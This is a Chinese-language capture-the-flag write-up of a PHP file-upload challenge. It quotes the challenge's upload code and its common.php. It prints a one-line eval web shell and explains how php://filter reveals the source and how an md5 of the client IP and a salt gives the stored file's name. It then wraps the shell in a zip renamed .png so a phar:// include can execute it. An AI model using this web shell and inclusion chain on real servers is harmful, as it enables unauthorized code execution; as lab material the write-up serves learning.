用的木马统一为 GIF89a<?php @eval($POST_['w']); ?> 文件名统一为aa
查看页面源代码没什么提示,上传木马改后缀名为php发现上传不了(白名单)
上传成功后也没有提示信息
用filter伪协议看一下upload页面
base64解码后得到代码
<?php
include 'common.php';
if(isset($_POST['submit']) && isset($_FILES['image'])) {
$fn = $_FILES['image']['tmp_name'];
$ft = $_FILES['image']['type'];
if (!is_uploaded_file($fn)) {
fatal('uploaded file corrupted');
}
$array = array('image/png'); /* 白名单 */
if (!in_array($ft, $array)) {
fatal("åªå
许ä¸ä¼ PNGæ ¼å¼å¦ï¼");
}
$imagekey = create_image_key();
move_uploaded_file($fn, "uploads/$imagekey.png");
}
else {
?>
<center>
<div class="article">
<h2>Please Upload your image</h2>
<form enctype="multipart/form-data" action="?op=upload" method="POST">
<label for="image">Image file (max <?=MAX_IM_SIZE;?>x<?=MAX_IM_SIZE;?>): </label>
<input type="file" id="image" name="image" />
<br />
<input type="submit" name="submit" value="Upload!" />
</form>
</div>
</center>
<?php
}
?>
高亮加粗的代码意思就是把你上传的文件路径和名称改为 /upload/$imagekey.png
说明你就算改了后缀名也没用,他后面会给你强制改为png文件 而且这个 $imagekey是调用了create_image_key()函数生成的
但我们不知道这个函数的具体内容
注意看全代码,他第一行包含了一个文件 include 'common.php' 接着用伪协议再看一下
解码后:
<?php
if(!defined('FROM_INDEX')) die();
define('MAX_IM_SIZE', 100);
function create_image_key() {
return md5($_SERVER['REMOTE_ADDR'] . "kudun");
}
function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}
$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
stream_wrapper_unregister ("zip");
?>
加粗位置就是我们要的函数
$_SERVER['REMOTE_ADDR']
是PHP超全局变量,存储客户端的IP地址
将客户端IP地址与字符串 "kudun"
拼接(.用于分隔)然后经过MD5加密后返回
我们就知道了上传文件的位置
访问一下
但是访问了以后并不能进一步操作
(op是option强制拼接了 php)
其他伪协议都试过了,用phar压缩协议尝试一下
做法:将aa.php这个木马压缩成aa.zip,改名为aa.png,然后上传,上传成功后,使用phar去访问这个png文件里面的aa.php木马
?op=phar://upload/算出的文件名.png/aa.php
访问后发现有显示了,那就直接打开蚁剑连接
(也可以用POST命令执行)
找一下就有key了